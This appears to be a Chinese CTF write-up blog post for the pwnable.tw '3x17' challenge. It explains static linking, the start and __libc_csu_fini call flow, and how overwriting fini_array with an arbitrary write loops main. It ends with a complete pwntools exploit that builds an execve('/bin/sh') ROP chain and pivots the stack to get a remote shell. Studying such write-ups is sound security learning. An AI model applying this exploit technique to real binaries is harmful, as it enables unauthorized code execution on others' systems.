3x17记录

老套路

开启了栈不可执行,所以无法传入shellcode考虑rop。

 并且它还是静态链接。

•静态链接:静态链接需要在编译链接的时候将需要执行的代码直接拷贝到调用处,这样可以做到程序发布的时候不需要依赖库,相反的程序占用的内存可能相对较大

•动态链接:动态链接则是当需要调用时,再将库中的代码加载到程序中去,在编译的时候只需要用符号和参数去代替这些代码。这样程序编译出来的内存较小,但是需要将库一起发布出去,缺少库则可能运行不了。

我们运行一下发现是addr:

我们shift F12 查找一下 

可以看到关键字符是存储在buf里面的我们对他进行交叉引用 

输入地址,可以写入18个字节,即任意地址写的漏洞,但是程序去除了符号表,因此像got表之类的地址我们找不到,因此这里引出start函数

start函数

其实main函数(主函数)即不是函数的入口点,也不是函数的起始点

这里借用一张图,可以看到

start - > __libc_start_main -> main

start函数调用了__libc_start_main函数,__libc_start_main函数调用了main函数

入口点地址就是start函数的地址 ,在64位程序下,前六个参数是通过寄存器传参的,而rdi寄存器中保存的是main函数的地址,r8寄存器中保存的是__libc_csu_fini的地址,rcx寄存器中保存的是__libc_csu_init的地址,接着调用__libc_start_main函数

 

 _libc_csu_fini中讲两个数据 array[1] 和array[2]分别存入rax和rbp。

 将地址存入rbp中

分析了__libc_csu_fini函数的执行流程,简单来说就是执行fini_array数组的内容,先执行fini_array[1]接着执行fini_array[0],由于程序存在任意地址写的漏洞,那么就可以修改fini_array数组的内容,让程序执行我们想执行的内容。

思路

•利用任意地址写的漏洞修改fini_array数组的内容

•将fini_array[1]的内容修改为main函数的地址,将fini_array[0]的内容修改为__libc_csu_fini的地址,这样可以达到无限制的任意地址写

main
-> 调用__libc_csu_fini
-> 调用main函数(fini_array[0])
-> 调用__libc_csu_fini(fini_array[1])
-> 调用main函数(fini_array[0])

•利用无限制的任意地址写在fini_array+0x10构造ROP链

•利用栈转移,将栈转移到fini_array+0x10从而触发ROP链

脚本分析

将array_fini[0]修改为__libc_csu_fini的地址

将array_fini[1]修改为main函数的地址

ropchain(fini_array,p64(fini)+p64(main))

因为程序中没有/bin/sh\x00,因此挑一段可写段写入/bin/sh\x00,这里我采用的是bss段

ropchain(0x4b92e0,'/bin/sh\x00') #0x4b92e0是bss段的地址

这里我选择利用调用59号中断取获得shell,64位程序采用寄存器传参,因此我们需要找到相应寄存器的地址构造ROP链,rax寄存器需要传入调用号,rdi则需要传入/bin/sh\x00的地址,其余参数为0
EXP:

from pwn import *
context(arch="amd64",os='linux',log_level='debug')
myelf = ELF("./3x17")
#io = process(myelf.path)
#gdb.attach(io,"b * 0x471db5")
io = remote("chall.pwnable.tw",10105)

rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
leave_ret = 0x401C4B

esp = 0x4B4100

def write(addr,data):
    io.recv()
    io.send(str(addr))
    io.recv()
    io.send(data)

write(fini_array,p64(libc_csu_fini)+p64(main_addr))

write(bin_sh_addr,"/bin/sh\x00")
write(esp,p64(rop_pop_rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rop_pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(rop_pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(rop_pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(rop_syscall))
write(fini_array,p64(leave_ret))

io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值